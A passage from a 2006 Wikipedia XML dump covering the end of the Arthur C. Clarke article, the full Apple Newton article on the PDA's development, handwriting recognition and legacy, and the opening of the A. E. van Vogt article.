Clarke's email correspondence with Hyams was published in 1984. Titled ''[[The Odyssey File: The Making of 2010]]'', and co-authored with Hyams, it illustrates his fascination with the then-pioneering medium and its use for them to communicate on an almost daily basis at the time of planning and production of the film. The book also includes [[Arthur C Clarke's List of the best Science-Fiction films of all time|Clarke's list of the best science-fiction films]] ever made.

===''Rendezvous with Rama''===  
Early in the millennium, actor [[Morgan Freeman]] expressed his desire to produce a film based on Arthur C. Clarke's novel ''Rendezvous with Rama''. The film was to be produced by Freeman's production company, [[Revelations Entertainment]].[http://www.revelationsent.com/flash/index.html] Freeman has not given up on the project, but he states that funding for a movie of this type is hard to procure. A popular science-fiction web site (Sci Fi Wire) posted an interview with Freeman about his troubles with the production. [http://www.scifi.com/scifiwire/art-main.html?2003-03/14/12.00.film]

==Essays and short stories==
Most of Clarke's essays (between [[1934]] to [[1998]]) can be found in the book ''[[Greetings, Carbon-Based Bipeds!]]'' ([[2000]]). Most of his short stories can be found in the book ''[[The Collected Stories of Arthur C. Clarke]]'' ([[2001]]). They make a good collection of Clarke's non-fiction and fiction works, even for those who already have most of his books. Another collection of early essays was published in ''[[The View from Serendip]]'' ([[1977]]), which also included one short piece of fiction, &quot;[[When the Twerms Came]]&quot;. He has also written short stories under the pseudonyms of [[E. G. O'Brien]] and [[Charles Willis]].

==See also==
* [[Clarke's three laws]]
* [[science fiction]]: [[:Category:Science fiction writers|authors]] – [[:Category:Science fiction novels|novels]] – [[:Category:Science fiction short stories|short stories]] – [[:Category:Science fiction television series|television shows]]
* [[Arthur C Clarke's List of the best Science-Fiction films of all time]]
* [[Clarketech]]
* [[Spaceguard]]
* [[Religious ideas in science fiction]]
* [[:Category:Arthur_C._Clarke_books|Arthur C. Clarke books]]
* [[:Category:Arthur_C._Clarke_short_stories|Arthur C. Clarke short stories]]

==External links==
{{wikiquote}}
*[http://www.kazlev.karoo.net/ Team ACC - Arthur C Clarke Fans] : an international [[Berkeley Open Infrastructure for Network Computing|BOINC]] community team
*[http://www.arthurcclarke.net/ ArthurCClarke.net : fan community &amp; discussion site]
*[http://www.setileague.org/editor/clarke.htm Where Is Everybody?] : an [[essay]] by Arthur C. Clarke on [[Search for Extra-Terrestrial Intelligence|SETI]]
*[http://www.secularhumanism.org/index.php?section=library&amp;page=clarke_19_2 God, Science, and Delusion] ''Free Inquiry'' magazine interview Volume 19, Number 2
*[http://avclub.com/content/node/24247 Interview for ''The Onion''] ([[February 2004]])
* [http://www.fantasticmetropolis.com/show.html?ey.clarke The Motif of First Contact in Arthur C. Clarke's SF Works], by [[Zoran Živković (writer)|Zoran Živković]]
*[http://www.geocities.com/jcsherwood/ACClinks2.htm Sir Arthur C. Clarke links] at [http://www.geocities.com/jcsherwood/ MysteryVisits.com]
*[http://www.geocities.com/jcsherwood/ACCphotos.htm Clarke image archive] at [http://www.geocities.com/jcsherwood/ MysteryVisits.com]
*[http://lakdiva.org/clarke/2005trip/ Clarke's 1945 Communication Satellite Idea]
*[http://fsweb.berry.edu/academic/hass/jhickman/images/arthur.jpg 2000 Photo]
*[http://www.peaceinspace.com/ab_board.shtml Institute for Cooperation in Space]
*[http://www.clarkefoundation.org/ The Arthur C. Clarke Foundation]
*[http://www.clarkeawards.org/ Sir Arthur Clarke Awards 2005]
* {{isfdb name|id=Arthur_C._Clarke|name=Arthur C. Clarke}}
* {{imdb name|id=0002009|name=Arthur C. Clarke}}
*[http://www.spikemagazine.com/0198clar.php Spike Magazine Interview]
* [http://www.ent.mrt.ac.lk/~rohan/career/projects/sundial/sundial.html The Sundial on a Novel Concept] includes image of Clarke at the inaugaration of the Sundial [[Moratuwa University]] [[1996]]
* [http://www.iee.org/publish/inspec/100years/clarke.cfm Memoirs of Science Abstracts' editorial staff] &amp;mdash; by Arthur C. Clarke
* [http://www.bsac.org/techserv/ndc/doc2003/rlvrep.htm ONCE UPON A TIME IN THE BSAC] references Clarke as a member
* The late [[Trevor Hampton]] (British pioneer diver) had Clarke as a client [http://www.divernet.com/profs/0402hampton.htm]
* [http://research.spaceref.com/acmgh/ The Arthur Clarke Mars Greenhouse], Devon Island, Nunavut (NASA Haughton Mars Project)

[[Category:1917 births|Clarke, Arthur C.]]
[[Category:Living people|Clarke, Arthur C.]]
[[Category:Alumni of King's College London|Clarke, Arthur C.]]
[[Category:Arthur C. Clarke]]
[[Category:Science fiction writers|Clarke, Arthur C.]]
[[Category:British science fiction writers|Clarke, Arthur C.]]
[[Category:Hugo Award winning authors|Clarke, Arthur C.]]
[[Category:Nebula Grand Masters|Clarke, Arthur C.]]
[[Category:British World War II veterans|Clarke, Arthur C.]]
[[Category:Royal Air Force officers|Clarke, Arthur C.]]
[[Category:Natives of Somerset|Clarke, Arthur C.]]
[[Category:SETI]]
[[Category:Space exploration]]
[[Category:Sri Lankans|Clarke, Arthur C.]]
[[Category:Futurists|Clarke, Arthur C.]]
[[Category:British essayists|Clarke, Arthur C.]]
[[Category:Humanists|Clarke, Arthur C.]]
[[Category:Atheists|Clarke, Arthur C.]]
[[Category:Skeptics|Clarke, Arthur C.]]

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  </page>
  <page>
    <title>Apple Newton</title>
    <id>887</id>
    <revision>
      <id>41314092</id>
      <timestamp>2006-02-26T14:08:26Z</timestamp>
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        <ip>222.166.160.181</ip>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Newton logo.gif|right|thumb|The Newton Logo.]]
[[Image:Mp2k.gif|right|thumb|The Apple Newton MessagePad 2100, the last model produced.]]

The '''Apple Newton''', or simply '''Newton''', was an early line of [[personal digital assistant]]s developed, manufactured and marketed by [[Apple Computer]] from [[1993]] to [[1998]]. The original Newtons were based on the [[ARM architecture|ARM]] 610 RISC processor, and featured [[handwriting recognition]]. Apple's official name for the device was ''MessagePad''; the term ''Newton'' was Apple's name for the operating system it used, but popular usage of the word ''Newton'' has grown to include the device and its software together.

== The Newton in development ==

The Newton project was not originally intended to produce a PDA.  The PDA category did not exist for most of Newton's genesis, and the &quot;[[personal digital assistant]]&quot; moniker itself was coined relatively late in the development cycle by Apple's then-CEO [[John Sculley]], the driving force behind the project. Newton was, in fact, intended to be a complete reinvention of personal computing.  For most of its design lifecycle Newton had a large-format screen, more internal memory, and a rich object-oriented graphics kernel. One of the original motivating scenarios for the design was known as the &quot;Architect Scenario,&quot; in which Newton's designers imagined a residential architect working quickly with a client to sketch, clean up, and interactively modify a simple two-dimensional home plan.

For a portion of the Newton's development cycle (roughly the middle third &lt;!--exact dates?--&gt;), the project's primary programming language was [[Dylan programming language|Dylan]], a small, efficient [[object-oriented]] [[Lisp programming language|Lisp]] variant that still retains some interest. Although it was efficient (for its day, and considering its substantial run-time [[dynamic programming language|dynamism]]), Dylan was a tough sell for the large-format Newton (and for a development team unused to Lisp programming). With the move to the smaller form factor, Dylan was relegated to experimental status in the &quot;Bauhaus Project&quot; and eventually cancelled outright.  Had it been retained, Dylan, with [[garbage collection (computer science)|garbage collection]] and close OS integration, would have preceded Microsoft's [[managed code]] revolution by over a decade.

The project missed by far its original goals to reinvent personal computing, and then to rewrite contemporary application programming. The Newton project's broad vision fell victim to project slippage, [[feature creep]], and a growing fear that it would interfere with Macintosh sales. It was reinvented as a PDA which would be a complementary Macintosh peripheral instead of a stand-alone computer which might compete with the Macintosh.

== Technical details ==

Newton used an advanced [[object-oriented programming]] system called [[NewtonScript]], developed by Apple employee [[Walter Smith (programmer)|Walter Smith]] [http://waltersmith.us/]. One of the major complaints programmers had was that the Toolbox programming environment was overpriced at $1000 (later in the life of the Newton, the programming environment was made available free of charge).  Additionally, it required learning a new way of programming.  Despite this, many third party and [[shareware]] applications were (and continue to be) available for Newton.  It has been suggested that the NewtonScript programming system should be made available open-source (as &quot;[[abandonware]]&quot;) but most Newton enthusiasts consider this possibility to be highly unlikely. 

Data in Newton was stored in object-oriented databases known as ''soups.'' One of the revolutionary aspects of Newton was that soups were available to all programs; and programs could operate cross-soup; meaning that the calendar could refer to names in the address book; a note in the notepad could be converted to an appointment, and so forth; and the soups could be programmer-extended - a new address book enhancement could be built on the data from the existing address book.

While the soup concept worked remarkably well within the Newton system itself, it caused several usability issues.  First, it made it extremely difficult to synchronize data with other systems, like a desktop [[Macintosh]] or [[Personal computer|PC]], making the Newton a [[data island]].  Apple's utility to perform this task, the Newton Connection Utility, was exceedingly complex and was never completed to perform to the satisfaction of most users.  The realization that a handheld computer needed to work within the existing data environment of its users was key to the success of the later [[Palm Pilot]] platform, even though the Palm was technically inferior.

The second consequence of the data-object soup was that objects could extend built-in applications such as the address book so seamlessly that Newton users could not distinguish which program or add-on object was responsible for the various features on their own system.  A user rebuilding their system after extended usage might find themselves unable to manually restore their system to the same functionality because some long-forgotten downloaded extension was missing.  Data owned and used by applications and extensions themselves were tossed in the &quot;Storage&quot; area of the &quot;Extras&quot; drawer.  There was no built-in distinction between types of data in that area.  For example, an installed application's icon could be sitting right next to a database of addresses used by another installed extension further down the list.  There was no easy way to get a listing of all user-installed objects on a system.

Finally, the data soup concept worked well for data like addresses, which benefit from being shared cross-functionally, but it worked poorly for discrete data sets like files and documents.  This difficulty in working and sharing data with other systems, stemming from the too revolutionary data-object soup system, was a key contributor to Newton's demise.

Earlier MessagePads used [[Apple Macintosh|Macintosh]]-standard [[serial port]]s - round [[DIN connector|Mini-DIN 8 connector]]s instead of the more common trapezoidal [[D-subminiature|DE-9, commonly called DB-9]]. The 2000/2100 models had a proprietary small flat connector, called an InterConnect port, used with an adapter. In addition, all models had [[infrared]] connectivity.  Unlike the Palm, all MessagePad models were equipped with a standard [[PCMCIA]] expansion slot (two on the 2000/2100).  This allowed native modem and even [[Ethernet]] connectivity; Newton users have also written [[Device_driver|drivers]] for [[802.11b]] wireless networking cards and ATA-type [[flash memory]] cards, a category that includes the popular [[CompactFlash]] format, as well as for [[Bluetooth]] cards. With the 1xx series, an optional keyboard became available, which could also be used via the dongle on a 2x00. Newton could also dial a phone number through the MessagePad speaker, simply holding a telephone handset up to the speaker, and fax / email support was built in at the operating system level, although it required external cards. 

The MessagePad 2000 and 2100, with a vastly improved handwriting recognition system, 162MHz [[StrongARM]]SA-110 [[RISC]] processor, Newton 2.1, and a better, clearer, backlit screen, attracted critical plaudits. Although their size and expense were factors which kept them from being as popular as later [[PalmOS]] devices, the Newton still has a small but passionate user base. The final evolution of the Newton's handwriting recognition system is still considered by many to be very impressive, only matched by the more modern [[Tablet PC]] handwriting recognition system.

The MessagePad could be used with the screen turned horizontally (&quot;landscape&quot;) as well as vertically (&quot;portrait&quot;). A change of a setting would instantly rotate the contents of the display by ninety degrees. Handwriting recognition would still work properly with the display rotated.

The use of 4x [[AA]] [[NiCd]] (MessagePad 110, 120 and 130) and 4x AA [[NiMH]] cells (2x00 series, eMate 300) gave a runtime of up to 30 hours (MP 2100 w/ 2x 20 MB linear [[Flash memory]] [[PC Card]]s, no backlight usage) and up to 24 hours with backlight on. While adding more weight to the Newtons than [[AAA battery|AAA batteries]] (as used in the MessagePad and MessagePad 100) or custom battery packs, the choice of an easily replaceable/rechargeable cell format gave the user a still unsurpassed runtime and flexibility of power supply. This, together with the [[Flash memory]] used as internal storage (if all cells lost their power, no data was lost due to the static character of this storage), gave birth to the slogan &quot;Newton never dies, it only gets new batteries&quot;.

Apple and third parties marketed several &quot;wallets&quot; (cases) for the MessagePads, which would hold them securely along with the owner's credit cards, driver's license, business cards, and cash. These wallets were even larger than the MessagePads and even less able to fit in a pocket, so they were most often used as a protective case for the unit to shield it from bumps and scratches.

== Outcome ==

Although the Apple Newton was produced for six years, it was never as successful in the marketplace as Apple had hoped. This has been attributed to two primary reasons: the Newton's high price (which went up to $1000 when models 2000 and 2100 were introduced), and its large size (it failed the &quot;pocket test&quot; by not fitting in an average coat, shirt, or trouser pocket). Critics also panned its [[handwriting recognition]].  These initial problems marred Newton's reputation in the eyes of the public, and PDAs would remain a niche product until [[Palm, Inc.]]'s [[Palm Pilot]], which emerged shortly before the Newton was discontinued.  The Palm Pilot, with its smaller, thinner shape, cheaper cost, and more robust [[Graffiti (Palm OS)|Graffiti]] handwriting recognition system - which had been available first as a software package for the Newton - managed to restore the viability of the PDA market after Newton's commercial failure. Ironically, Palm Computing was founded by ex-Apple employee [[Donna Dubinsky]].

The Newton marketing campaign trumpeted the product's handwriting recognition, though in initial versions it was fairly inaccurate. The original handwriting recognition engine was called Calligrapher, and was licensed from a Russian company called Paragraph International. It was actually quite sophisticated; unlike the later Palm Pilot's Graffiti - which made the user learn a new handwriting system and write each letter in an input area - Newton learned the user's natural handwriting, using a database of known words to make guesses as to what the user was writing, and could interpret writing anywhere on the screen. Newton could also recognize and clean up simple drawn shapes such as triangles, circles, and squares, and had an intuitive system for handwritten editing, such as scratching out words to be deleted, circling text to be selected, or using written carets to mark inserts. 

Later releases of the Newton operating system retained the original recognizer for compatibility, but added a printed-text recognizer, code-named &quot;[[Rosetta (Newton)|Rosetta]],&quot; which was developed by Apple, included in version 2.0 of the Newton operating system, and refined in Newton 2.1. Rosetta was generally considered a significant improvement and many users consider the Newton 2.1 handwriting recognition software better than any of the alternatives since.  Recognition and computation of handwritten horizontal and vertical formulas such as &quot;1 + 2 =&quot; was also under development but never released. 

The most critical feature of the Newton handwriting recognition system was the modeless error correction. That is, correction done in situation without using a separate window or widget, using a minimum of gestures.  If a word was recognized improperly, the user would simply  double-tap the word and a list of alternatives would pop up in a menu under the stylus.  Most of the time, the correct word would be in the list. If not, a button at the bottom of the list allowed the user to edit individual characters in that word.  Error correction in many current handwriting systems provides such functionality but adds more steps to the process, greatly increasing the interruption to a user's workflow that a given correction requires. Excellent handwriting recognition (in OS 2.1 and higher) with smooth, modeless access to robust error correction is quite possibly a leading reason for the continued popularity of the device among Newton users.  

Even given the age of the hardware and software, Newtons still demand a sale price on the used market far greater than that of PDAs produced by other companies.  [[As of 2004]] the Newton 2000 and 2100 can still fetch a price, without accessories, of over $100.

==Later efforts==

Many prototypes of additional Newton models were spotted. Most notable was a Newton tablet or &quot;slate,&quot; a large, flat screen that could be written on. Others included a &quot;Kids Newton&quot; with side handgrips and buttons, &quot;VideoPads&quot; which would have incorporated a video camera and screen on their flip-top covers for two-way communications, the &quot;Mini 2000&quot; which would have been very similar to Palm Pilot, and the &quot;NewtonPhone&quot; (developed by [[Siemens AG]]) which incorporated a handset and a keyboard.

At least one product, the [[eMate 300]] was derived from the Apple Newton, and was offered to schools in 1997 as an inexpensive ($799 US, originally sold to education markets only) and durable computer for classroom use.  However, in order to achieve its low price, the eMate 300 did not have all the features of the contemporary Newton equivalent, the MessagePad 2000 and was cancelled along with the rest of the Newton line.

Before the Newton project was cancelled, it was &quot;spun off&quot; into its own company, ''Newton Inc.'', but was reabsorbed several months later when [[Steve Jobs]] ousted Apple CEO [[Gil Amelio]] and resumed control of Apple. There has since been continual speculation that Apple might release a new PDA with some Newton technology or collaborate with Palm. Apple continues to deny that such a project will ever happen.

The Apple [[Apple iPod | iPod]] is somewhat of a descendant of the Newton in that it is a pocket-sized programmable device based on the ARM processor. Two ex-Apple Newton developers founded [[Pixo]], the company that created the iPod's OS.

Feeding a bit of speculation, Apple put the &quot;Print Recognizer&quot; part of the Newton 2.1 handwriting recognition system into [[Mac OS X]] version 10.2 (known as &quot;Jaguar&quot;). It can be used with graphics tablets to seamlessly input handwritten printed text anywhere there was an insertion point on the screen. This technology, known as &quot;[[Inkwell (Macintosh)|Inkwell]]&quot;, appears in the System Preferences whenever a tablet input device is plugged in. Whether Apple will ever utilize such technology again in a [[handheld device]] remains to be seen.

In June 2004, Apple CEO Steve Jobs indicated that he was proud that Apple resisted pressure to market a new handheld computer. While a small group of Mac faithful consumers have lobbied Apple to sell such a device, the worldwide market for PDAs was in a decline at the time, and Apple chose not to develop the device because demand would have been inadequate.

==Newton models==

* MessagePad (also known as the H1000, OMP or Original MessagePad)
* MessagePad 100 (Supported newer Newton OS)
* MessagePad 110 (slightly longer and narrower, with integrated flip cover and retracting stylus)
* MessagePad 120 (Up to 2MB RAM, versus 1MB)
* MessagePad 130 (backlit)
* [[eMate 300]] (backlit with built-in keyboard)
* MessagePad 2000 (a significant upgrade; much faster (162MHz StrongARM versus 20MHz ARM 610, larger form factor)
* MessagePad 2100 (raised internal RAM to 4MB)

The NewtonOS was also licensed to a number of third party developers including Sharp and Motorola who developed additional PDA devices that used the operating system.  Motorola added added wireless connectivity to the unit, and renamed it the Marco[http://www.msu.edu/~luckie/gallery/marco.htm].
A possible Newton revival has been a common source of speculation among the Macintosh user base; when patents for a tablet based Macintosh were applied for (http://www.appleinsider.com/article.php?id=600), rumor sites jumped at the possibility of a new [[Tablet PC]] style Macintosh.

==Appearances in popular culture==

* The Newton was featured in the movie ''[[Under Siege 2: Dark Territory|Under Siege 2]],'' where the main character, played by [[Steven Seagal]], uses it to fax a call for help from a phone on a passenger train.
* In early episodes of the series ''[[The X-Files]]'', the FBI agents use Newtons.
* In the end scene of Larry Laffer ''Leisure Suit Larry 6: Shape Up or Slip Out!'' the woman says &quot;I even had a Newton&quot;.
* The character of Kate Libby in ''[[Hackers (movie)|Hackers]]'' has a MessagePad which is seen in a number of scenes.
* The hacker in the film ''[[Jurassic Park]]'' has a Newton on his desk.
* [[Gary Sinise]] uses one as the hostage taker in the 1996 film ''Ransom'' starring [[Mel Gibson]].
* Daniel Brühl uses one in the German film ''[[The Edukators]]''.

The handwriting recognition software was ridiculed on several occasions:
* [[Garry Trudeau]] ridiculed it in a series of episodes of his popular comic, ''[[Doonesbury]]''. The last panel of one strip, which shows a character reading the words &quot;egg freckles?&quot; from his Newton [http://images.ucomics.com/comics/db/1993/db930827.gif], became an [[Easter egg (virtual)|Easter egg]] in the Newton operating system itself (version 2.0 and earlier). It can be seen by writing the words ''egg freckles'' then highlighting them and tapping the Assist button.
* In an episode of ''[[The Simpsons]]'' titled &quot;[[Lisa on Ice]]&quot;, which first aired [[November 13]], [[1994]], school bully Kearny has his buddy Daulph take a memo on a Newton.  When Daulph writes &quot;Beat up Martin&quot; on the screen, the handwriting recognition turns it into &quot;Eat up Martha.&quot; Kearny throws the Newton at [[Martin Prince|Martin]] instead. [http://www.snpp.com/episodes/2F05.html]
* In 2004, [[CNET]] elected the Apple Newton one of the &quot;Top 10 tech we miss&quot; [http://www.cnet.com/4520-11136_1-6259955.html], mentioning the device's amusing willingness to translate nearly any stroke on the screen to text, allowing the user to generate surreal ''Newton Poetry'' from random scribbles.

==Other Uses==
There were a number of projects that used the Newton as a portable information device in cultural settings such as museums. For example, Visible Interactive created a walking tour in San Francisco's Chinatown but the most significant effort took place in Malaysia at the Petronas Discovery Center, known as Petrosains.[http://www.petrosains.com.my/]

In 1995, an exhibit design firm, DMCD Inc. [http://www.dmcd.com]was awarded the contract to design a new 100,000 square foot science museum in the Petronas towers in Kuala Lumpur. A major factor in the award was the concept that visitors would use a Newton to access additional information, find out where they were in the museum, listen to audio, see animations, control robots and other media, and to bookmark information for printout at the end of the exhibit.

The device became known as the ARIF, a Malay word for &quot;wise man&quot; or &quot;seer&quot; and it was also an acronym for A Resourceful Informative Friend. Some 400 ARIFS were installed and over 250 are still in use today.

The development of the ARIF system was extremely complex and required a team of hardware and software engineers, designers, and writers. The exhibition design and ARIF coordination team was led by Scott Guerin, the hardware/software team by Ted Paschkis, and the writers and interface designers included Paul Trapido and Michael Callan. Mssrs. Guerin and Paschkis went on to found Wivid Systems which specializes in multimedia tour guides for museums. [http://www.wivid.com]

ARIF is an ancestor of the PDA systems used in museums today and it boasted features that have not been attempted since. For example it was used as an exploration tool in a large exhibit about exploring for oil. A visitor's success completing one task influenced the success or failure of a subsequent task. At the conclusion of the exhibit, the ARIF was docked at an IR port where it was used to control a robotic arm that placed equipment at locations influenced by the users previous lessons. In another exhibit, up to eight devices could be used at to activate a 60 foot diameter model of prehistoric Malaysia; volcano eruptions, animal sounds, lighting effects, and wind are among the many effects. This task was accomplished by docking the ARIF at a computer terminal and using it as the input device. There are no touch screens in Petrosains, all interactive systems were controlled by the ARIF.

The Newton was &quot;married&quot; to a primitive packet switching radio system in order to determine its location as the visitor passed through electronic &quot;gateways.&quot; When the visitor entered a new room, the radio triggered an automatic area introduction. The radio also delivered time-synch'd audio in two languages to a group of users when they watched a video.

In addition to being dual language in all audio and text, the ARIF stored bookmarked information such that at the end of the exhibit, users could choose several items of most interest to be printed out, including a souvenir photograph of themselves superimposed on one of several stage sets.

==Jokes==
* A popular [[lightbulb joke]] circled the internet briefly, ostensibly from the [[newsgroup]] comp.sys.newton.misc. 
*: Q: How many Newtons does it take to screw in a lightbulb?
*: A: Foux!  There to eat lemons, axe gravy soup.

==External links==

* [http://lowendmac.com/orchard/06/0207.html Birth of the Newton]
* [http://www.chuma.org/newton/faq/ Newton FAQ]
* [http://www.msu.edu/~luckie/newtgal.htm Newton Gallery]
* [http://www.crmloyalty.com/hknug Hong Kong Newton User Group]
* Larry Yaeger's page on the [http://homepage.mac.com/larryy/larryy/ANHR.html development] of the Rosetta recogniser engine
* [http://arstechnica.com/journals/apple.ars/2005/6/12/504 An interview with Larry Yaeger] touching on the development of the Newton and its HWR
* [http://www.a-in-a-circle.com/newton/ Newton Secrets], with photos of prototypes
* [http://www.uzes.net/newton Newton Cadillac prototype info]
* [http://osopinion.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=4556 Think you know the Apple Newton's History? Think again]
* [http://www.unna.org/ Newton Software]
* [http://www.newtontalk.net/ The NewtonTalk mailing list]
* [http://tools.unna.org/wikiwikinewt/ The NewtonWiki], HowTos, tricks and manuals 
* [http://www.newtonsearch.net/ NewtonSearch], a searchable index of Newton websites
* [http://www.newtonsales.com NewtonRepair], Apple has discontinued support for the Newton platform -- however, repairs and upgrades are still available at this site
* [http://www.pda-soft.de/ European Newton Repairs], feat. disassembling and repair instructions for most models and reviews of new spare parts and hardware
* [http://www.pda-soft.de/programmingbooks.html Newton programming books and references in PDF form]
* [http://www.kallisys.com/newton/einstein/en Einstein Project], a Newton emulator in development
* [http://www.newtonslibrary.org/ Newton's Library], the largest actively maintained Newton [[ebook]] repository
* [http://www.stillnewt.org/library/ Temporary Newton Library] -- actively maintained Newton [[ebook]] repository of [[public domain]] and [[creative commons]] licensed titles
* [http://www.upenn.edu/computing/printout/archive/v10/4/newton.html My man Newton: Six months with a personal digital assistant], a report of Newton usage with an example of ''Newton Poetry''
* [http://www.kevinfreitas.net/journal/20040921/ Newton Poetry], some info on and some attemps of ''Newton Poetry''

[[Category:Failed Apple initiatives|Newton]]
[[Category:Apple hardware]]
[[Category:PDAs]]

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  </page>
  <page>
    <title>A. E. van Vogt</title>
    <id>888</id>
    <revision>
      <id>41644022</id>
      <timestamp>2006-02-28T19:25:36Z</timestamp>
      <contributor>
        <username>Mr Frosty</username>
        <id>276295</id>
      </contributor>
      <minor />
      <comment>/* External links */ -- alpha. categories</comment>
      <text xml:space="preserve">'''Alfred Elton van Vogt''' ([[Winnipeg]], [[Canada]], [[April 26]], [[1912]] - [[Los Angeles]], [[United States|USA]], [[January 26]], [[2000]]) was a renowned [[Canada|Canadian]]-born [[science fiction author]] widely regarded as one of the most prolific, yet complex, writers from the mid-twentieth century '[[Golden Age of Science Fiction|Golden Age]]' of the genre. 

[[Image:vanvogt.jpg|frame|van Vogt receiving Grand Master prize]]

==Science Fiction's Golden Age==

Van Vogt was one of the most popular and highly esteemed science fiction writers of the [[1940s]], during the ascent of the genre's Golden Age. After starting his writing career by writing for 'true confession' style [[pulp magazines]] like ''True Story'', van Vogt decided to switch to writing something he enjoyed, [[science fiction]].

Van Vogt's first published SF story, &quot;Black Destroyer&quot; (''[[Analog Science Fiction|Astounding Science Fiction]]'', [[July]] [[1939]]), was inspired by ''[[The Origin of Species]]'' by [[Charles Darwin]]. The story depicted a fierce, carnivorous [[Extraterrestrial_life|alien]] stalking the crew of an exploration spaceship. It was the cover story of the issue of ''Astounding'' which ushered in the Golden Age of science fiction. The story became an instant classic and eventually served as the inspiration for a number of science fiction movies. In 1950 it was combined with &quot;War of Nerves&quot; ([[1950]]), &quot;Discord in Scarlet&quot; (1939) and &quot;M33 in Andromeda&quot; ([[1943]]) to form the novel ''[[The Voyage of the Space Beagle]]'' ([[1950]])

Many fans of that era would have named van Vogt, [[Robert A. Heinlein]], and [[Isaac Asimov]] as the three greatest science fiction writers.

In [[1941]] van Vogt decided to become a full time writer, quitting his job at the Canadian Department of National Defence.  Extremely prolific for a few years, van Vogt wrote a large number of [[short stories]]. In the 1950s, many of them were retrospectively patched together into novels, or &quot;[[fixup|fixups]]&quot; as he called them, a term which entered the vocabulary of science fiction criticism. Sometimes this was successful (''[[The War against the Rull]]'') while other times the disparate stories thrown together made for a less coherent plot (''[[Quest for the Future]]'').

One of van Vogt's best novels of this period is ''[[Slan]]'', which appeared in ''Astounding Sicence Fiction'' in [[1940]]. Using what became one of van Vogt's recurring themes, it told the story of a 9-year-old [[superman]] living in a world in which his kind are slain by [[Homo sapiens]].

==A post-war philosopher== 

In [[1944]], van Vogt moved to [[Hollywood, California]], where his writing took on new dimensions after [[World War II]].  Van Vogt was always interested in the idea of all-encompassing systems of knowledge (akin to modern [[meta-systems]]), the characters in his very first story used a system called 'Nexialism' to analyze the alien's behaviour, and he became interested in the [[General Semantics]] of [[Alfred Korzybski]].  And he was profoundly affected by revelations of [[totalitarian]] [[police state|police states]] that emerged after [[World War II]].  He wrote a mainstream novel that was set in Communist [[China]], ''The Angry Man'' ([[1962]]); he said that prior to this he had read 100 books about China.

He subsequently wrote three novels merging these overarching themes, ''[[The World of Null-A]]'' and ''[[The Pawns of Null-A]]'' in the late [[1940s]], and ''[[Null-A Three]]'' in the early [[1980s]].  ''Null-A'', or [[non-Aristotelian logic]], refers to the capacity for, and practice of, using [[intuitive]], inductive reasoning ([[fuzzy logic]]), rather than reflexive, or conditioned, deductive logic.

[[Image:Linn.jpg|thumb|220px|First edition of ''[[The Wizard of Linn]]'' ([[1956]])]]

Van Vogt systematized his writing method, using scenes of 800 words or so where a new complication was added or something resolved.  Several of his stories hinge upon temporal [[Conundrum|conundrums]], a favorite theme.  He stated that he acquired many of his writing techniques from books on writing by [[Thomas Uzzell]].

He said many of his ideas came from dreams, and indeed his stories at times had the incoherence of dreams, but at their best, as in the fantasy novel ''[[The Book of Ptath]]'', his works had all the vision and power a dream can impart.  Throughout his writing life he arranged to be awakened every 90 minutes during his sleep period so he could write down his dreams.

In the [[1950s]], van Vogt briefly became involved in [[L. Ron Hubbard|L. Ron Hubbard's]] [[Dianetics]].  Van Vogt operated a storefront, for the secular precursor to Hubbard's [[Scientology]] [[sect]], in the [[Los Angeles]] area for a time, before winding up at odds with Hubbard and his methods.  His writing more or less stopped for some years, a period in which he bitterly claimed to have been harassed and intimidated by Hubbard's followers.  In this period he limited to collect old short stories to form notable [[fixup|fixups]] like: ''[[The Mixed Men]]'' ([[1952]]), ''[[The War Against the Rull]]'' ([[1959]]), ''[[The Beast]]'' ([[1963]]) and the two novels of the &quot;Linn&quot; cyle, which were inspired by fall of the [[Roman Empire]]. He resumed writing again in the [[1960s]], mainly through [[Frederik Pohl]]'s invitation, while remaining in Hollywood with his second wife, Lydia Bereginsky, who took care of him through his declining years. In this period his stories were born since the very beginning as whole novels, but in general show van Vogt's difficulties in keeping pace with the evolution of science fiction.

==Recognition==

In [[1946]], van Vogt and his first wife, [[Edna Mayne Hull]], were co-Guests of Honor at the fourth [[World Science Fiction Convention]], 

In [[1980]], van Vogt received a &quot;Casper Award&quot; (precursor to the Canadian [[Aurora Award]]s) for Lifetime Achievement. In [[1995]] he was awarded the [[Damon Knight Memorial Grand Master Award]].  In [[1996]], van Vogt was recognized on two occasions: the [[World Science Fiction Convention]] presented him with a Special Award ''for six decades of golden age science fiction'', and the [[Science Fiction and Fantasy Hall of Fame]] included him among its initial four inductees.

===Critical praise===

Famous science fiction author [[Philip K. Dick]] has said that van Vogt's stories spurred his interest in science fiction with their strange sense of the unexplained, that something more was going on than the protagonists realized.

In a review of ''Transfinite: The Essential A.E. van Vogt'', science fiction writer [[Paul Di Filippo]] said:

:''Van Vogt knew precisely what he was doing in all areas of his fiction writing. There's hardly a wasted word in his stories... His plots are marvels of interlocking pieces, often ending in real surprises and shocks, genuine paradigm shifts, which are among the hardest conceptions to depict.  And the intellectual material of his fictions, the conceits and tossed-off observations on culture and human and alien behavior, reflect a probing mind...Each tale contains a new angle, a unique slant, that makes it stand out.'' &lt;br&gt; (DiFilippo, Paul, (2003) ''[http://www.scifi.com/sfw/issue326/books2.html Off The Shelf]'', Retrieved [[9 January]] [[2003]]).

===Criticism===

Van Vogt's style has been criticized as confused and incoherent. Writer and critic [[Damon Knight]] wrote in [[1945]] that &quot;van Vogt is not a giant as often mantained. He's only a pygmy using a giant typewriter&quot;.

His technical knowledge seems questionable.  Examples:

*In ''Cosmic Encounter'', one result of the crash of an alien spaceship is the generation of a temperature of minus 50,000 degrees, well below [[absolute zero]].
*The title of his story collection ''M33 in Andromeda'' is incorrect; M33 is in [[Triangulum]], M31 (the [[Andromeda Galaxy]]) is in [[Andromeda (constellation)|Andromeda]].
*The popular short story ''Vault of the Beast'' hinges on the concept of the largest [[prime number]]; it was demonstrated as far back as [[Ancient Greece]] that the series of primes is infinite.

==Bibliography==

===Novels===

* ''[[Slan]]'' ([[1946]])
* ''[[The Book of Ptath]]'' ([[1947]])     
* ''[[The World of Null-A]]'' ([[1948]])
* ''[[The House That Stood Still]]'' ([[1950]])
* ''[[Masters of Time]]'' ([[1950]])
* ''[[The Voyage of the Space Beagle]]'' ([[1950]])
* ''[[The Weapon Shops of Isher]]'' (1951)
* ''[[Mission to the Stars]]'' ([[1952]])     
* ''[[The Universe Maker]]'' ([[1953]])
* ''[[Planets for Sale]]'' ([[1954]]) (with [[Edna Mayne Hull]])
